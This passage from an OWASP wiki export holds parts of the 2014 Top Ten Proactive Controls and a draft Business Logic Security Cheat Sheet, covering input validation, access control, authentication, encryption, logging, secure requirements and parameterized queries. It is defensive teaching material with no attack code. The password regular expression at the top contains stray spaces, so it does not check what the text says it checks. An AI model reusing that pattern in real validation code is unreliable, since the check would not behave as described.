 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Business_Logic_Security_Cheat_Sheet&amp;diff=176454</id>
		<title>Business Logic Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Business_Logic_Security_Cheat_Sheet&amp;diff=176454"/>
				<updated>2014-06-05T15:55:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet provides some guidance for identifying some of the various types of business logic vulnerabilities and some guidance for preventing and testing for them.&lt;br /&gt;
&lt;br /&gt;
= What is a Business Logic Vulnerability? =&lt;br /&gt;
&lt;br /&gt;
A business logic vulnerability is one that allows the attacker to misuse an application by circumventing the business rules.  Most security problems are weaknesses in an application that result from a broken or missing security control (authentication, access control, input validation, etc...). By contrast, business logic vulnerabilities are ways of using the legitimate processing flow of an application in a way that results in a negative consequence to the organization. &lt;br /&gt;
&lt;br /&gt;
Many articles that describe business logic problems simply take an existing and well understood web application security problem and discuss the business consequence of the vulnerability. True business logic problems are actually different from the typical security vulnerability. Too often, the business logic category is used for vulnerabilities that can't be scanned for automatically. This makes it very difficult to apply any kind of categorization scheme. A useful rule-of-thumb to use is that if you need to truly understand the business to understand the vulnerability, you might have a business-logic problem on your hands. If you don't understand the business, then it's probably just a typical application vulnerability in one of the other categories.&lt;br /&gt;
&lt;br /&gt;
For example, an electronic bulletin board system was designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on the list is found the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity list since on edit the posting is never compared again. &lt;br /&gt;
&lt;br /&gt;
Testing for business rules vulnerabilities involves developing business logic abuse cases with the goal of successfully completing the business process while not complying with one or more of the business rules.&lt;br /&gt;
&lt;br /&gt;
= 1. Identify Business Rules and Derive Test/Abuse Cases =&lt;br /&gt;
&lt;br /&gt;
The first step is to identify the business rules that you care about and turn them into experiments designed to verify whether the application properly enforces the business rule.  For example, if the rule is that purchases over $1000 are discounted by 10%, then positive and negative tests should be designed to ensure that&lt;br /&gt;
#) the control is in place to implement the business rule,&lt;br /&gt;
#) the control is implemented correctly and cannot be bypassed or tampered with, and&lt;br /&gt;
#) the control is used properly in all the necessary places&lt;br /&gt;
&lt;br /&gt;
Business rules vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application in a way that will allow them to circumvent any business rules, constraints or restrictions put in place to properly complete the business process.  &lt;br /&gt;
For example, on a stock trading application is the attacker allowed to start a trade at the beginning of the day and lock in a price, hold the transaction open until the end of the day, then complete the sale if the stock price has risen or cancel out if the price dropped.    &lt;br /&gt;
Business Logic testing uses many of the same testing tools and techniques used by functional testers. While a majority of Business Logic testing remains an art relying on the manual skills of the tester, their knowledge of the complete business process, and its rules, the actual testing may involve the use of some functional and security testing tools.&lt;br /&gt;
&lt;br /&gt;
= 2. Consider Time Related Business Rules =&lt;br /&gt;
&lt;br /&gt;
TBD: Can the application be used to change orders after they are committed, make transactions appear in the wrong sequence, etc...&lt;br /&gt;
&lt;br /&gt;
The application must be time-aware and not allow attackers to hold transactions open preventing them completing until and unless it is advantageous to do so.   &lt;br /&gt;
&lt;br /&gt;
= 3. Consider Money Related Business Rules =&lt;br /&gt;
&lt;br /&gt;
TBD: These should cover financial limits and other undesirable transactions.  Can the application be used to create inappropriate financial transactions?  Does it allow the use of NaN or Infinity?  Are inaccuracies introduced because of the data structures used to model money?&lt;br /&gt;
&lt;br /&gt;
= 4. Consider Process Related Business Rules =&lt;br /&gt;
&lt;br /&gt;
TBD: This is for steps in a process, approvals, communications, etc... Can the application be used to bypass or otherwise abuse the steps in a process?&lt;br /&gt;
&lt;br /&gt;
Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application in a way that will allow them to circumvent the designed workflow or continue once the workflow has been broken.   For example, an ecommerce site that give loyalty points for each dollar spent should not apply points to the customer’s account until the transaction is tendered. Applying points to the account before tendering may allow the customer to cancel the transaction and incorrectly receive points.&lt;br /&gt;
&lt;br /&gt;
The application must have checks in place ensuring that the users complete each step in the process in the correct order and prevent attackers from circumventing any steps/processes in the workflow. &lt;br /&gt;
Test for workflow vulnerabilities involves attempts to execute the steps in the process in an inappropriate order. &lt;br /&gt;
&lt;br /&gt;
= 5. Consider Human Resource Business Rules =&lt;br /&gt;
&lt;br /&gt;
TBD: This is for rules surrounding HR. Could the application be used to violate any HR procedures or standards&lt;br /&gt;
&lt;br /&gt;
= 6. Consider Contractual Relationship Business Rules =&lt;br /&gt;
&lt;br /&gt;
TBD: Can the application be used in a manner that is inconsistent with any contractual relationships -- such as a contract with a service provider&lt;br /&gt;
&lt;br /&gt;
= 7. TBD - Let's think of some other REAL Business Rules =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
WARNING: Most of the examples discussed in these articles are not actually business logic flaws&lt;br /&gt;
&lt;br /&gt;
* Seven Business Logic Flaws That Put Your Website At Risk – Jeremiah Grossman Founder and CTO, WhiteHat Security – &lt;br /&gt;
https://www.whitehatsec.com/assets/WP_bizlogic092407.pdf&lt;br /&gt;
* Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix - http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf&lt;br /&gt;
* CWE-840: Business Logic Errors - http://cwe.mitre.org/data/definitions/840.html&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Ashish Rao rao.ashish20[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
David Fern dfern[at]verizon.net&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176453</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176453"/>
				<updated>2014-06-05T15:34:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
